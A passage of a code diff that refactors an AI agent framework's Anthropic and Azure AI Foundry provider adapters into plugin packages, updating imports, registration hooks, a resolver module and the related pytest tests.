usage=SimpleNamespace(input_tokens=10, output_tokens=20),
model="claude-sonnet-4-6",
)
nr = transport.normalize_response(r)
assert nr.finish_reason == "tool_calls"
assert len(nr.tool_calls) == 1
tc = nr.tool_calls[0]
assert tc.name == "terminal"
assert tc.id == "toolu_123"
assert '"command"' in tc.arguments
def test_normalize_response_thinking(self, transport):
"""Test normalization preserves thinking content."""
r = SimpleNamespace(
content=[
SimpleNamespace(type="thinking", thinking="Let me think..."),
SimpleNamespace(type="text", text="The answer is 42"),
],
stop_reason="end_turn",
usage=SimpleNamespace(input_tokens=10, output_tokens=15),
model="claude-sonnet-4-6",
)
nr = transport.normalize_response(r)
assert nr.content == "The answer is 42"
assert nr.reasoning == "Let me think..."
def test_build_kwargs_returns_dict(self, transport):
"""Test build_kwargs produces a usable kwargs dict."""
messages = [{"role": "user", "content": "Hello"}]
kw = transport.build_kwargs(
model="claude-sonnet-4-6",
messages=messages,
max_tokens=1024,
)
assert isinstance(kw, dict)
assert "model" in kw
assert "max_tokens" in kw
assert "messages" in kw
def test_convert_messages_extracts_system(self, transport):
"""Test convert_messages separates system from messages."""
messages = [
{"role": "system", "content": "You are helpful."},
{"role": "user", "content": "Hi"},
]
system, msgs = transport.convert_messages(messages)
# System should be extracted
assert system is not None
# Messages should only have user
assert len(msgs) >= 1
@@ -38,7 +38,7 @@ class TestDeepSeekAnthropicPreservesThinking:
)
def test_unsigned_thinking_block_survives_replay(self, base_url: str) -> None:
"""Unsigned thinking (synthesised from reasoning_content) must be preserved."""
from agent.anthropic_adapter import convert_messages_to_anthropic
from agent.anthropic_format import convert_messages_to_anthropic
messages = [
{"role": "user", "content": "hi"},
@@ -75,7 +75,7 @@ class TestDeepSeekAnthropicPreservesThinking:
def test_unsigned_thinking_preserved_on_non_latest_assistant_turn(self) -> None:
"""DeepSeek validates history across every prior assistant turn, not just last."""
from agent.anthropic_adapter import convert_messages_to_anthropic
from agent.anthropic_format import convert_messages_to_anthropic
messages = [
{"role": "user", "content": "q1"},
@@ -125,7 +125,7 @@ class TestDeepSeekAnthropicPreservesThinking:
DeepSeek issues its own signatures and cannot validate Anthropic's —
the strip-signed / keep-unsigned split matches the Kimi policy.
"""
from agent.anthropic_adapter import convert_messages_to_anthropic
from agent.anthropic_format import convert_messages_to_anthropic
messages = [
{"role": "user", "content": "hi"},
@@ -163,7 +163,7 @@ class TestDeepSeekAnthropicPreservesThinking:
as ignored cache markers interfere with signature validation on
upstreams that do check them, so Hermes strips them everywhere.
"""
from agent.anthropic_adapter import convert_messages_to_anthropic
from agent.anthropic_format import convert_messages_to_anthropic
messages = [
{"role": "user", "content": "hi"},
@@ -200,7 +200,7 @@ class TestDeepSeekAnthropicPreservesThinking:
detector should still fail closed so an accidental misuse doesn't
quietly send signed Anthropic blocks to an OpenAI endpoint.
"""
from agent.anthropic_adapter import _is_deepseek_anthropic_endpoint
from agent.anthropic_format import _is_deepseek_anthropic_endpoint
assert _is_deepseek_anthropic_endpoint("https://api.deepseek.com") is False
assert _is_deepseek_anthropic_endpoint("https://api.deepseek.com/v1") is False
@@ -211,7 +211,7 @@ class TestDeepSeekAnthropicPreservesThinking:
"""MiniMax and other third-party Anthropic endpoints must keep the
generic strip-all behaviour (they reject unsigned blocks outright).
"""
from agent.anthropic_adapter import convert_messages_to_anthropic
from agent.anthropic_format import convert_messages_to_anthropic
messages = [
{"role": "user", "content": "hi"},
@@ -37,7 +37,7 @@ class TestKimiCodingSkipsAnthropicThinking:
],
)
def test_kimi_coding_endpoint_omits_thinking(self, base_url: str) -> None:
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="kimi-k2.5",
@@ -54,7 +54,7 @@ class TestKimiCodingSkipsAnthropicThinking:
assert "output_config" not in kwargs
def test_kimi_coding_with_explicit_disabled_also_omits(self) -> None:
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="kimi-k2.5",
@@ -68,7 +68,7 @@ class TestKimiCodingSkipsAnthropicThinking:
def test_non_kimi_third_party_still_gets_thinking(self) -> None:
"""MiniMax and other third-party Anthropic endpoints must retain thinking."""
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="MiniMax-M2.7",
@@ -82,7 +82,7 @@ class TestKimiCodingSkipsAnthropicThinking:
assert kwargs["thinking"]["type"] == "enabled"
def test_native_anthropic_still_gets_thinking(self) -> None:
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="claude-sonnet-4-20250514",
@@ -105,7 +105,7 @@ class TestKimiCodingSkipsAnthropicThinking:
suppression must apply to every Kimi host, not just ``/coding``.
See #17057.
"""
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="kimi-k2.5",
@@ -136,7 +136,7 @@ class TestKimiCodingSkipsAnthropicThinking:
self, base_url: str, model: str
) -> None:
"""Custom / proxied Kimi endpoints must also strip Anthropic thinking."""
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model=model,
@@ -159,7 +159,7 @@ class TestKimiCodingSkipsAnthropicThinking:
Guards against over-broad model-family matching only model names
starting with a Kimi/Moonshot prefix should trigger suppression.
"""
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="MiniMax-M2.7",
@@ -177,7 +177,7 @@ class TestKimiCodingSkipsAnthropicThinking:
blocks must survive the third-party signature-stripping pass so
the upstream's message-history validation passes.
"""
from agent.anthropic_adapter import convert_messages_to_anthropic
from agent.anthropic_format import convert_messages_to_anthropic
messages = [
{"role": "user", "content": "hi"},
@@ -32,7 +32,7 @@ class TestMinimaxThinkingSupport:
"""
def test_minimax_m27_gets_manual_thinking(self):
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="MiniMax-M2.7",
messages=[{"role": "user", "content": "hello"}],
@@ -47,7 +47,7 @@ class TestMinimaxThinkingSupport:
assert "output_config" not in kwargs
def test_minimax_m25_gets_manual_thinking(self):
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="MiniMax-M2.5",
messages=[{"role": "user", "content": "hello"}],
@@ -59,7 +59,7 @@ class TestMinimaxThinkingSupport:
assert kwargs["thinking"]["type"] == "enabled"
def test_thinking_still_works_for_claude(self):
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="claude-sonnet-4-20250514",
messages=[{"role": "user", "content": "hello"}],
@@ -99,8 +99,8 @@ class TestMinimaxBetaHeaders:
def _build_and_get_betas(self, api_key, base_url=None):
"""Build client, return the anthropic-beta header string."""
from agent.anthropic_adapter import build_anthropic_client
with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk:
from hermes_agent_anthropic import build_anthropic_client
with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk:
build_anthropic_client(api_key, base_url=base_url)
kwargs = mock_sdk.Anthropic.call_args[1]
headers = kwargs.get("default_headers", {})
@@ -158,26 +158,26 @@ class TestMinimaxBetaHeaders:
# -- _common_betas_for_base_url unit tests ---------------------------
def test_common_betas_none_url(self):
from agent.anthropic_adapter import _common_betas_for_base_url, _COMMON_BETAS
from agent.anthropic_format import _common_betas_for_base_url, _COMMON_BETAS
assert _common_betas_for_base_url(None) == _COMMON_BETAS
def test_common_betas_empty_url(self):
from agent.anthropic_adapter import _common_betas_for_base_url, _COMMON_BETAS
from agent.anthropic_format import _common_betas_for_base_url, _COMMON_BETAS
assert _common_betas_for_base_url("") == _COMMON_BETAS
def test_common_betas_minimax_url(self):
from agent.anthropic_adapter import _common_betas_for_base_url, _TOOL_STREAMING_BETA
from agent.anthropic_format import _common_betas_for_base_url, _TOOL_STREAMING_BETA
betas = _common_betas_for_base_url("https://api.minimax.io/anthropic")
assert _TOOL_STREAMING_BETA not in betas
assert len(betas) > 0 # still has other betas
def test_common_betas_minimax_cn_url(self):
from agent.anthropic_adapter import _common_betas_for_base_url, _TOOL_STREAMING_BETA
from agent.anthropic_format import _common_betas_for_base_url, _TOOL_STREAMING_BETA
betas = _common_betas_for_base_url("https://api.minimaxi.com/anthropic")
assert _TOOL_STREAMING_BETA not in betas
def test_common_betas_regular_url(self):
from agent.anthropic_adapter import _common_betas_for_base_url, _COMMON_BETAS
from agent.anthropic_format import _common_betas_for_base_url, _COMMON_BETAS
assert _common_betas_for_base_url("https://api.anthropic.com") == _COMMON_BETAS
@@ -222,19 +222,19 @@ class TestMinimaxMaxOutput:
"""
def test_minimax_m27_output_limit(self):
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
assert _get_anthropic_max_output("MiniMax-M2.7") == 131_072
def test_minimax_m25_output_limit(self):
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
assert _get_anthropic_max_output("MiniMax-M2.5") == 131_072
def test_minimax_m2_output_limit(self):
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
assert _get_anthropic_max_output("MiniMax-M2") == 131_072
def test_claude_output_unaffected(self):
from agent.anthropic_adapter import _get_anthropic_max_output
from agent.anthropic_format import _get_anthropic_max_output
# Sanity: Claude limits are not broken by the MiniMax entry
assert _get_anthropic_max_output("claude-sonnet-4-6") == 64_000
@@ -301,21 +301,21 @@ class TestMinimaxPreserveDots:
assert AIAgent._anthropic_preserve_dots(agent) is True
def test_normalize_preserves_m25_free_dot(self):
from agent.anthropic_adapter import normalize_model_name
from agent.anthropic_format import normalize_model_name
assert normalize_model_name("minimax-m2.5-free", preserve_dots=True) == "minimax-m2.5-free"
def test_normalize_preserves_m27_dot(self):
from agent.anthropic_adapter import normalize_model_name
from agent.anthropic_format import normalize_model_name
assert normalize_model_name("MiniMax-M2.7", preserve_dots=True) == "MiniMax-M2.7"
def test_normalize_preserves_non_anthropic_dots_without_preserve(self):
from agent.anthropic_adapter import normalize_model_name
from agent.anthropic_format import normalize_model_name
# Non-Anthropic model families use dots as canonical version separators;
# only Claude/Anthropic names are hyphen-normalized by default.
assert normalize_model_name("MiniMax-M2.7", preserve_dots=False) == "MiniMax-M2.7"
def test_normalize_still_converts_claude_dots_without_preserve(self):
from agent.anthropic_adapter import normalize_model_name
from agent.anthropic_format import normalize_model_name
assert normalize_model_name("claude-opus-4.6", preserve_dots=False) == "claude-opus-4-6"
@@ -348,9 +348,9 @@ class TestMinimaxSwitchModelCredentialGuard:
agent._anthropic_client = MagicMock()
agent._fallback_chain = []
with patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, \
patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="sk-ant-leaked") as mock_resolve, \
patch("agent.anthropic_adapter._is_oauth_token", return_value=False):
with patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="sk-ant-leaked") as mock_resolve, \
patch("hermes_agent_anthropic.adapter._is_oauth_token", return_value=False):
agent.switch_model(
new_model="MiniMax-M2.7",
@@ -11,3 +11,9 @@ arcee = ProviderProfile(
)
register_provider(arcee)
def register(ctx):
"""No-op — this provider has no workspace package yet."""
pass
@@ -19,3 +19,9 @@ azure_foundry = ProviderProfile(
)
register_provider(azure_foundry)
def register(ctx):
"""Plugin entry point — delegates to the inner hermes_agent_azure package."""
from hermes_agent_azure import register as _inner_register
_inner_register(ctx)
@@ -0,0 +1,57 @@
"""hermes-agent-azure: Microsoft Entra ID / Azure Identity adapter for Hermes Agent."""
from hermes_agent_azure.adapter import ( # noqa: F401
SCOPE_AI_AZURE_DEFAULT,
EntraIdentityConfig,
_build_default_credential,
_require_azure_identity,
build_bearer_http_client,
build_credential,
build_token_provider,
describe_active_credential,
has_azure_identity_credentials,
has_azure_identity_installed,
is_token_provider,
materialize_bearer_for_http,
reset_credential_cache,
)
def register(ctx):
"""Entry point for the hermes_agent.plugins entry point group."""
from hermes_agent_azure import adapter
ctx.register_provider_services("azure", {
# Auth / credentials
"is_token_provider": adapter.is_token_provider,
"has_azure_identity_credentials": adapter.has_azure_identity_credentials,
"has_azure_identity_installed": adapter.has_azure_identity_installed,
# Client building
"build_bearer_http_client": adapter.build_bearer_http_client,
"build_credential": adapter.build_credential,
"build_token_provider": adapter.build_token_provider,
"materialize_bearer_for_http": adapter.materialize_bearer_for_http,
"reset_credential_cache": adapter.reset_credential_cache,
# Constants / config
"SCOPE_AI_AZURE_DEFAULT": adapter.SCOPE_AI_AZURE_DEFAULT,
"EntraIdentityConfig": adapter.EntraIdentityConfig,
# Internal helpers
"_build_default_credential": adapter._build_default_credential,
"_require_azure_identity": adapter._require_azure_identity,
"describe_active_credential": adapter.describe_active_credential,
})
# Register the provider resolver — core dispatches to this instead of
# having a per-azure-foundry if/elif branch in resolve_provider_client().
from hermes_agent_azure.resolve import resolve_auxiliary_client as _azure_resolver
ctx.register_provider_resolver("azure-foundry", _azure_resolver)
# Register the provider overlay — core merges this into HERMES_OVERLAYS
from agent.plugin_registries import ProviderOverlayEntry
ctx.register_provider_overlay(ProviderOverlayEntry(
provider_name="azure-foundry",
transport="openai_chat", # default; overridden by api_mode in config
base_url_env_var="AZURE_FOUNDRY_BASE_URL",
display_name="Azure AI Foundry",
aliases=[],
))
@@ -54,8 +54,6 @@ SCOPE_AI_AZURE_DEFAULT = "https://ai.azure.com/.default"
# Lazy SDK import — only loaded when the Entra path is actually used.
# ---------------------------------------------------------------------------
_AZURE_IDENTITY_FEATURE = "provider.azure_identity"
def has_azure_identity_installed() -> bool:
"""Return True if `azure-identity` can be imported right now.
@@ -70,35 +68,20 @@ def has_azure_identity_installed() -> bool:
def _require_azure_identity():
"""Import ``azure.identity``, lazy-installing it if allowed.
"""Import ``azure.identity``.
Raises ``ImportError`` with a clear actionable message when the
package is missing and lazy installs are disabled.
package is missing.
"""
try:
import azure.identity as _ai
return _ai
except ImportError:
try:
from tools.lazy_deps import ensure, FeatureUnavailable
except ImportError as exc:
raise ImportError(
"The 'azure-identity' package is required for Azure AI "
"Foundry Entra ID authentication. Install it with: "
"pip install azure-identity"
) from exc
try:
ensure(_AZURE_IDENTITY_FEATURE, prompt=False)
except FeatureUnavailable as exc:
raise ImportError(
"The 'azure-identity' package is required for Azure AI "
"Foundry Entra ID authentication. " + str(exc)
) from exc
# Retry import after lazy install.
import azure.identity as _ai # noqa: WPS440
return _ai
raise ImportError(
"The 'azure-identity' package is required for Azure AI "
"Foundry Entra ID authentication. Install it with: "
"pip install azure-identity"
)
def reset_credential_cache() -> None:
@@ -0,0 +1,131 @@
"""Azure Foundry provider resolver for auxiliary client construction.
Handles ALL provider-specific logic for building auxiliary clients:
Entra ID auth, static API key, base URL resolution, api_mode routing
(chat_completions, codex_responses, anthropic_messages).
"""
from __future__ import annotations
import logging
from typing import Any, Optional
from urllib.parse import parse_qs, urlparse, urlunparse
logger = logging.getLogger(__name__)
def _extract_url_query_params(url: str):
"""Extract query params from URL, return (clean_url, default_query dict or None)."""
parsed = urlparse(url)
if parsed.query:
clean = urlunparse(parsed._replace(query=""))
params = {k: v[0] for k, v in parse_qs(parsed.query).items()}
return clean, params
return url, None
def _normalize_resolved_model(model: str, provider: str) -> str:
"""Normalize model name for a given provider."""
return str(model or "").strip()
def resolve_auxiliary_client(
*,
model: str | None = None,
explicit_api_key: str | None = None,
explicit_base_url: str | None = None,
async_mode: bool = False,
is_vision: bool = False,
main_runtime: dict | None = None,
api_mode: str | None = None,
) -> tuple[Any, str] | tuple[None, None]:
"""Resolve an Azure Foundry auxiliary client via the runtime resolver.
Mirrors the anthropic/bedrock resolver shape but delegates to
``hermes_cli.runtime_provider._resolve_azure_foundry_runtime``
the same resolver the main agent uses so:
* ``auth_mode: api_key`` (default) gets the static
``AZURE_FOUNDRY_API_KEY`` string.
* ``auth_mode: entra_id`` gets a callable bearer-token provider
(``Callable[[], str]`` from the azure identity adapter).
* Per-model ``api_mode`` auto-routing for GPT-5.x / o-series /
codex models works.
* ``model.entra.{tenant_id,client_id,authority,scope}`` config
fields propagate.
* Non-default ``model.base_url`` overrides are honored.
Returns ``(client, model)`` or ``(None, None)`` on failure.
"""
from openai import OpenAI
try:
from hermes_cli.runtime_provider import _resolve_azure_foundry_runtime
from hermes_cli.auth import AuthError
from hermes_cli.config import load_config
except ImportError:
return None, None
try:
cfg = load_config()
model_cfg = cfg.get("model") if isinstance(cfg, dict) else {}
if not isinstance(model_cfg, dict):
model_cfg = {}
except Exception:
model_cfg = {}
try:
runtime = _resolve_azure_foundry_runtime(
requested_provider="azure-foundry",
model_cfg=model_cfg,
explicit_api_key=explicit_api_key,
explicit_base_url=explicit_base_url,
target_model=model,
)
except AuthError as exc:
logger.debug("Auxiliary azure-foundry: %s", exc)
return None, None
except Exception as exc:
logger.debug("Auxiliary azure-foundry runtime error: %s", exc)
return None, None
api_key = runtime.get("api_key")
base_url = str(runtime.get("base_url", "") or "")
runtime_api_mode = api_mode or runtime.get("api_mode") or "chat_completions"
_has_key = bool(api_key) if not callable(api_key) else True
if not _has_key or not base_url:
return None, None
final_model = _normalize_resolved_model(
model or str(model_cfg.get("default") or ""),
"azure-foundry",
)
if not final_model:
logger.debug(
"Auxiliary azure-foundry: no model resolved (model=%r, default=%r)",
model, model_cfg.get("default"),
)
return None, None
extra: dict[str, Any] = {}
_clean_base, _dq = _extract_url_query_params(base_url)
if _dq:
extra["default_query"] = _dq
client = OpenAI(api_key=api_key, base_url=_clean_base, **extra)
if runtime_api_mode == "codex_responses":
from agent.auxiliary_client import CodexAuxiliaryClient
return CodexAuxiliaryClient(client, final_model), final_model
if runtime_api_mode == "anthropic_messages":
from agent.plugin_registries import registries
maybe_wrap = registries.get_provider_service("anthropic", "maybe_wrap_anthropic")
if maybe_wrap is not None:
return maybe_wrap(
client, final_model, api_key,
base_url, runtime_api_mode,
), final_model
return client, final_model
@@ -0,0 +1,19 @@
[build-system]
requires = ["setuptools>=61.0"]
build-backend = "setuptools.build_meta"
[project]
name = "hermes-agent-azure"
version = "0.1.0"
description = "Microsoft Entra ID / Azure Identity adapter for Hermes Agent"
requires-python = ">=3.11"
dependencies = [
"hermes-agent",
"azure-identity==1.25.3",
]
[project.entry-points."hermes_agent.plugins"]
azure = "hermes_agent_azure:register"
[tool.setuptools.packages.find]
include = ["hermes_agent_azure*"]
@@ -0,0 +1,71 @@
"""Shared fixtures for azure-foundry plugin tests.
Registers the azure plugin in the singleton registry before each test.
"""
import pytest
class _FullCtx:
"""Plugin context that wires up all registry hooks."""
def register_provider_services(self, name, services):
from agent.plugin_registries import registries
registries.register_provider_services(name, services)
def register_provider_resolver(self, name, resolver):
from agent.plugin_registries import registries
registries.register_provider_resolver(name, resolver)
def register_credential_pool_hook(self, name, hook):
from agent.plugin_registries import registries
registries.register_credential_pool_hook(name, hook)
def register_transport(self, api_mode, transport_cls):
from agent.plugin_registries import registries
registries._transports[api_mode] = transport_cls
def register_pricing_provider(self, name, entries):
from agent.plugin_registries import registries
registries.register_pricing_provider(name, entries)
def register_provider_overlay(self, entry):
from agent.plugin_registries import registries
registries.register_provider_overlay(entry)
def __getattr__(self, name):
if name.startswith("register_"):
return lambda *a, **kw: None
raise AttributeError(name)
@pytest.fixture(autouse=True)
def _register_azure_plugin():
"""Register the real azure plugin for the duration of each test."""
from agent.plugin_registries import registries
_prev_services = dict(registries._provider_services)
_prev_resolvers = dict(registries._provider_resolvers)
_prev_cph = dict(registries._credential_pool_hooks)
ctx = _FullCtx()
try:
from hermes_agent_azure import register as _reg
_reg(ctx)
except ImportError:
pass
# azure-foundry tests for Anthropic Messages mode need the anthropic plugin too
try:
from hermes_agent_anthropic import register as _anthro_reg
_anthro_reg(ctx)
except ImportError:
pass
yield
for d, prev in [
(registries._provider_services, _prev_services),
(registries._provider_resolvers, _prev_resolvers),
(registries._credential_pool_hooks, _prev_cph),
]:
d.clear()
d.update(prev)
@@ -34,7 +34,7 @@ import pytest
@pytest.fixture(autouse=True)
def _reset_credential_cache():
from agent.azure_identity_adapter import reset_credential_cache
from hermes_agent_azure import reset_credential_cache
reset_credential_cache()
yield
reset_credential_cache()
@@ -44,7 +44,7 @@ def _reset_credential_cache():
def fake_azure_identity(monkeypatch):
"""Stand-in for azure.identity (keeps CI hermetic when the SDK is
not installed)."""
from agent import azure_identity_adapter as _adapter
from hermes_agent_azure import adapter as _adapter
last = {"scope": None}
@@ -242,7 +242,7 @@ class TestAuxAzureFoundryEntra:
event hook on a custom ``httpx.Client`` passed to the
Anthropic SDK via ``http_client=``."""
from agent import auxiliary_client as _aux
from agent import anthropic_adapter as _anthropic
from hermes_agent_anthropic import adapter as _anthropic
received = {}
@@ -300,6 +300,7 @@ class TestResolveProviderClientAzureFoundry:
``resolve_api_key_provider_credentials`` and return None for
Entra users."""
from agent import auxiliary_client as _aux
import openai as _openai_mod
received = {}
@@ -309,7 +310,7 @@ class TestResolveProviderClientAzureFoundry:
self.api_key = kwargs.get("api_key", "")
self.base_url = kwargs.get("base_url", "")
monkeypatch.setattr(_aux, "OpenAI", _FakeOpenAI)
monkeypatch.setattr(_openai_mod, "OpenAI", _FakeOpenAI)
patch_load_config({
"provider": "azure-foundry",
"base_url": "https://r.openai.azure.com/openai/v1",
@@ -31,7 +31,7 @@ import pytest
@pytest.fixture(autouse=True)
def _reset_credential_cache():
from agent.azure_identity_adapter import reset_credential_cache
from hermes_agent_azure import reset_credential_cache
reset_credential_cache()
yield
reset_credential_cache()
@@ -41,7 +41,7 @@ def _reset_credential_cache():
def fake_azure_identity(monkeypatch):
"""Identical fake to test_azure_identity_adapter — keeps Azure SDK
out of these tests so they run in CI without the package installed."""
from agent import azure_identity_adapter as _adapter
from hermes_agent_azure import adapter as _adapter
last = {"scope": None, "kwargs": None, "credential_count": 0}
@@ -151,7 +151,7 @@ class TestResolveAzureFoundryRuntimeEntra:
``cognitiveservices.azure.com`` scope is the control-plane
audience and is rejected for inference by newer resources."""
from hermes_cli.runtime_provider import _resolve_azure_foundry_runtime
from agent.azure_identity_adapter import SCOPE_AI_AZURE_DEFAULT
from hermes_agent_azure import SCOPE_AI_AZURE_DEFAULT
_resolve_azure_foundry_runtime(
requested_provider="azure-foundry",
model_cfg={
@@ -340,10 +340,12 @@ class TestAzureFoundryAuthStatus:
# Patch has_azure_identity_installed to True; do NOT patch the
# token provider — if the code path tried to mint, the SDK
# missing would raise.
monkeypatch.setattr(
"agent.azure_identity_adapter.has_azure_identity_installed",
lambda: True,
)
# NOTE: _get_azure_foundry_auth_status reads from the plugin
# registry, not directly from the adapter module, so we must
# patch the registry entry.
from agent.plugin_registries import registries
_azure_ns = registries._provider_services.setdefault("azure", {})
_azure_ns["has_azure_identity_installed"] = lambda: True
info = _auth._get_azure_foundry_auth_status()
assert info["logged_in"] is True
assert info["auth_mode"] == "entra_id"
@@ -363,7 +365,7 @@ class TestAzureFoundryAuthStatus:
},
)
monkeypatch.setattr(
"agent.azure_identity_adapter.has_azure_identity_installed",
"hermes_agent_azure.adapter.has_azure_identity_installed",
lambda: False,
)
info = _auth._get_azure_foundry_auth_status()
@@ -32,7 +32,7 @@ import pytest
# about cache invalidation.
@pytest.fixture(autouse=True)
def _reset_adapter_cache():
from agent.azure_identity_adapter import reset_credential_cache
from hermes_agent_azure import reset_credential_cache
reset_credential_cache()
yield
reset_credential_cache()
@@ -61,7 +61,7 @@ class TestEntraScopeConstant:
"""
def test_default_scope_matches_microsoft_documentation(self):
from agent.azure_identity_adapter import SCOPE_AI_AZURE_DEFAULT
from hermes_agent_azure import SCOPE_AI_AZURE_DEFAULT
assert SCOPE_AI_AZURE_DEFAULT == "https://ai.azure.com/.default"
@@ -75,7 +75,7 @@ class TestMaterializeBearerForHttp:
callable exactly once and never fall through to display masking."""
def test_callable_is_invoked_and_returns_token(self):
from agent.azure_identity_adapter import materialize_bearer_for_http
from hermes_agent_azure import materialize_bearer_for_http
invoked = {"count": 0}
@@ -87,16 +87,16 @@ class TestMaterializeBearerForHttp:
assert invoked["count"] == 1
def test_string_passes_through(self):
from agent.azure_identity_adapter import materialize_bearer_for_http
from hermes_agent_azure import materialize_bearer_for_http
assert materialize_bearer_for_http("plain-key") == "plain-key"
def test_callable_returning_empty_raises(self):
from agent.azure_identity_adapter import materialize_bearer_for_http
from hermes_agent_azure import materialize_bearer_for_http
with pytest.raises(ValueError):
materialize_bearer_for_http(lambda: "")
def test_empty_string_raises(self):
from agent.azure_identity_adapter import materialize_bearer_for_http
from hermes_agent_azure import materialize_bearer_for_http
with pytest.raises(ValueError):
materialize_bearer_for_http("")
with pytest.raises(ValueError):
@@ -116,7 +116,7 @@ class TestBuildBearerHttpClient:
def test_returns_httpx_client_with_request_hook(self):
import httpx
from agent.azure_identity_adapter import build_bearer_http_client
from hermes_agent_azure import build_bearer_http_client
client = build_bearer_http_client(lambda: "jwt")
try:
@@ -128,7 +128,7 @@ class TestBuildBearerHttpClient:
def test_hook_overrides_authorization_header(self):
import httpx
from agent.azure_identity_adapter import build_bearer_http_client
from hermes_agent_azure import build_bearer_http_client
minted_tokens = []
@@ -180,7 +180,7 @@ class TestBuildBearerHttpClient:
"""
import logging
import httpx
from agent.azure_identity_adapter import build_bearer_http_client
from hermes_agent_azure import build_bearer_http_client
def bad_provider():
return "" # empty token → materialize_bearer_for_http raises
@@ -195,7 +195,7 @@ class TestBuildBearerHttpClient:
"api-key": "leaked-placeholder",
},
)
with caplog.at_level(logging.WARNING, logger="agent.azure_identity_adapter"):
with caplog.at_level(logging.WARNING, logger="hermes_agent_azure.adapter"):
hook(req) # Must not raise.
# Pre-set auth headers stripped — no sentinel makes it to Azure.
assert "Authorization" not in req.headers
@@ -209,7 +209,7 @@ class TestBuildBearerHttpClient:
client.close()
def test_rejects_non_callable_provider(self):
from agent.azure_identity_adapter import build_bearer_http_client
from hermes_agent_azure import build_bearer_http_client
with pytest.raises(ValueError):
build_bearer_http_client(cast(Callable[[], str], "plain-string-not-callable"))
with pytest.raises(ValueError):
@@ -217,7 +217,7 @@ class TestBuildBearerHttpClient:
def test_forwards_httpx_kwargs(self):
import httpx
from agent.azure_identity_adapter import build_bearer_http_client
from hermes_agent_azure import build_bearer_http_client
timeout = httpx.Timeout(60.0, connect=5.0)
client = build_bearer_http_client(lambda: "jwt", timeout=timeout)
@@ -231,11 +231,11 @@ class TestBuildBearerHttpClient:
class TestIsTokenProvider:
def test_callable_is_token_provider(self):
from agent.azure_identity_adapter import is_token_provider
from hermes_agent_azure import is_token_provider
assert is_token_provider(lambda: "x") is True
def test_string_is_not_token_provider(self):
from agent.azure_identity_adapter import is_token_provider
from hermes_agent_azure import is_token_provider
assert is_token_provider("static-key") is False
# ``str`` instances are technically callable in some edge cases
# — confirm they're never classified as token providers.
@@ -252,7 +252,7 @@ class TestEntraIdentityConfig:
must round-trip through dict cleanly and never lose fields."""
def test_to_dict_round_trip(self):
from agent.azure_identity_adapter import EntraIdentityConfig
from hermes_agent_azure import EntraIdentityConfig
cfg = EntraIdentityConfig(
scope="https://ai.azure.com/.default",
exclude_interactive_browser=False,
@@ -261,7 +261,7 @@ class TestEntraIdentityConfig:
assert rebuilt == cfg
def test_from_dict_handles_empty_strings(self):
from agent.azure_identity_adapter import EntraIdentityConfig
from hermes_agent_azure import EntraIdentityConfig
cfg = EntraIdentityConfig.from_dict({
"scope": "",
"client_id": None,
@@ -273,7 +273,7 @@ class TestEntraIdentityConfig:
"""Old config.yaml that still has model.entra.client_id /
tenant_id / authority should not crash from_dict those values
are now read from AZURE_* env vars by azure-identity directly."""
from agent.azure_identity_adapter import EntraIdentityConfig
from hermes_agent_azure import EntraIdentityConfig
cfg = EntraIdentityConfig.from_dict({
"tenant_id": "legacy-tenant",
"authority": "https://login.partner.microsoftonline.cn",
@@ -285,12 +285,12 @@ class TestEntraIdentityConfig:
assert not hasattr(cfg, "authority")
def test_constructor_normalizes_empty_scope(self):
from agent.azure_identity_adapter import EntraIdentityConfig
from hermes_agent_azure import EntraIdentityConfig
cfg = EntraIdentityConfig(scope="")
assert cfg.scope.endswith("/.default")
def test_from_dict_default_scope_override(self):
from agent.azure_identity_adapter import EntraIdentityConfig
from hermes_agent_azure import EntraIdentityConfig
cfg = EntraIdentityConfig.from_dict(
{"scope": ""},
default_scope="https://custom.example/.default",
@@ -299,7 +299,7 @@ class TestEntraIdentityConfig:
def test_dataclass_is_frozen(self):
# Frozen dataclasses are hashable / safe to pass through caches.
from agent.azure_identity_adapter import EntraIdentityConfig
from hermes_agent_azure import EntraIdentityConfig
cfg = EntraIdentityConfig()
with pytest.raises((AttributeError, Exception)):
setattr(cfg, "scope", "mutated")
@@ -352,7 +352,7 @@ def fake_azure_identity(monkeypatch):
# The adapter's `_require_azure_identity` does its own import, so
# patch that too to make sure tests never hit the real package's
# singleton state.
from agent import azure_identity_adapter as _adapter
from hermes_agent_azure import adapter as _adapter
monkeypatch.setattr(_adapter, "_require_azure_identity", lambda: fake_module)
return fake
@@ -365,7 +365,7 @@ class TestBuildCredential:
browser auth. Tenant / authority / service principal config
flow through the standard ``AZURE_*`` env vars (read by
azure-identity directly), not Hermes config kwargs."""
from agent.azure_identity_adapter import EntraIdentityConfig, build_credential
